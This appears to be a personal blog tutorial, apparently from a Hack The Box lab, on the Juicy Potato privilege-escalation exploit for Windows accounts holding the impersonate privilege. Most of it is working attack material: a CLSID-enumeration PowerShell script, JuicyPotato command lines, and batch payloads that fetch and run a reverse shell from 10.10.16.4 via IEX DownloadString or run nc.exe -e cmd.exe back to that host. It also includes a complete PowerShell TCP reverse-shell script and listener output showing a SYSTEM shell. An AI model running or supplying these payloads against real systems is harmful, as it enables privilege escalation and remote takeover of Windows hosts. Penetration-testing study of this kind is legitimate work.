Juicy Potato and how to exploit it
What is Juicy Potato⌗
It is an exploit that can be used to gain a SYSTEM
level shell on a target machine if the current user has the SE IMPERSONATE
privilege set. This isn’t so much a vulnerability but more an abuse of functionality. The impersonate privilege allows an account, typically a service account like svc\mysql
to impersonate any user on the machine, including local system. Therefore this if an account has this privilege enabled it should be treated as local system as there is no way to prevent this as it is normal functionality.
How does it work?⌗
tbc
Get CLSIDs⌗
In order to carry out this exploit you need a CLSID of a process running on the host with local system privileges. The process we choose will be the target process for this exploit and is the process we will be impersonating.
<#
This script extracts CLSIDs and AppIDs related to LocalService.DESCRIPTION
Then exports to CSV
#>
$ErrorActionPreference = "Stop"
New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT
Write-Output "Looking for CLSIDs"
$CLSID = @()
Foreach($ID in (Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}})){
if ($ID.appid -ne $null){
$CLSID += $ID
}
}
Write-Output "Looking for APIDs"
$APPID = @()
Foreach($AID in (Get-ItemProperty HKCR:\appid\* | select-object localservice,@{N='AppID'; E={$_.pschildname}})){
if ($AID.LocalService -ne $null){
$APPID += $AID
}
}
Write-Output "Joining CLSIDs and APIDs"
$RESULT = @()
Foreach ($app in $APPID){
Foreach ($CLS in $CLSID){
if($CLS.AppId -eq $app.AppID){
$RESULT += New-Object psobject -Property @{
AppId = $app.AppId
LocalService = $app.LocalService
CLSID = $CLS.CLSID
}
break
}
}
}
$RESULT = $RESULT | Sort-Object LocalService
# Preparing to Output
$OS = (Get-WmiObject -Class Win32_OperatingSystem | ForEach-Object -MemberName Caption).Trim() -Replace "Microsoft ", ""
$TARGET = $OS -Replace " ","_"
# Make target folder
New-Item -ItemType Directory -Force -Path .\$TARGET
# Output in a CSV
$RESULT | Export-Csv -Path ".\$TARGET\CLSIDs.csv" -Encoding ascii -NoTypeInformation
# Export CLSIDs list
$RESULT | Select CLSID -ExpandProperty CLSID | Out-File -FilePath ".\$TARGET\CLSID.list" -Encoding ascii
# Visual Table
$RESULT | ogv
Potential Payloads⌗
There are different ways to get the same result with this exploit and sometimes you will have to play around with a few options until you get the exploit working.
Direct rev shell⌗
This executes a reverse shell directly
c:\inetpub\wwwroot>jpx86.exe -l 8004 -c "{03ca98d6-ff5d-49b8-abc6-03dd84127020}" -t * -p c:\windows\system32\cmd.exe -a "\c powershell c:\inetpub\wwwroot\revShell.ps1"
Download rev shell⌗
This download a shell and then executes it
c:\inetpub\wwwroot>jpx86.exe -l 8004 -c "{03ca98d6-ff5d-49b8-abc6-03dd84127020}" -t * -p c:\windows\system32\cmd.exe -a "\c c:\inetpub\wwwroot\payload.bat"
Inside payload.bat⌗
Runs bat file to download a powershell reverse shell and execute it
┌──(tom㉿kali)-[~/Documents/hackthebox/devel]
└─$ cat payload.bat
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4:8001/revShell.ps1')"
nc reverse shell⌗
c:\inetpub\wwwroot>jpx86.exe -l 8004 -c "{03ca98d6-ff5d-49b8-abc6-03dd84127020}" -t * -p c:\windows\system32\cmd.exe -a "\c c:\inetpub\wwwroot\payload2.bat"
c:\inetpub\wwwroot>jpx86.exe -l 8004 -c "{03ca98d6-ff5d-49b8-abc6-03dd84127020}" -t * -p c:\windows\system32\cmd.exe -a "\c c:\inetpub\wwwroot\nc.exe -e cmd.exe 10.10.16.4 8004"
Inside payload2.bat⌗
netcat reverse shell
┌──(tom㉿kali)-[~/Documents/hackthebox/devel]
└─$ cat payload2.bat
c:\inetpub\wwwroot\nc.exe -e cmd.exe 10.10.16.4 8004
Payload⌗
c:\inetpub\wwwroot>jpx86.exe -l 8004 -c "{03ca98d6-ff5d-49b8-abc6-03dd84127020}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex(New-Object Net.WebClient).downloadString('http://10.10.16.4:8001/revShell.ps1')" -t *
Shell⌗
┌──(tom㉿kali)-[~/Documents/hackthebox/devel]
└─$ nc -nvlp 8004 1 ⨯
listening on [any] 8004 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.5] 49240
whoami
nt authority\system
Reverse Shell⌗
$socket = new-object System.Net.Sockets.TcpClient('10.10.16.4', 8004);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
$res = ""
while($stream.DataAvailable -or $read -eq $null) {
$read = $stream.Read($buffer, 0, 1024)
}
$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
if(!$out.equals("exit")){
$args = "";
if($out.IndexOf(' ') -gt -1){
$args = $out.substring($out.IndexOf(' ')+1);
$out = $out.substring(0,$out.IndexOf(' '));
if($args.split(' ').length -gt 1){
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = "cmd.exe"
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.Arguments = "/c $out $args"
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
$p.WaitForExit()
$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()
if ($p.ExitCode -ne 0) {
$res = $stderr
} else {
$res = $stdout
}
}
else{
$res = (&"$out" "$args") | out-string;
}
}
else{
$res = (&"$out") | out-string;
}
if($res -ne $null){
$writer.WriteLine($res)
}
}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()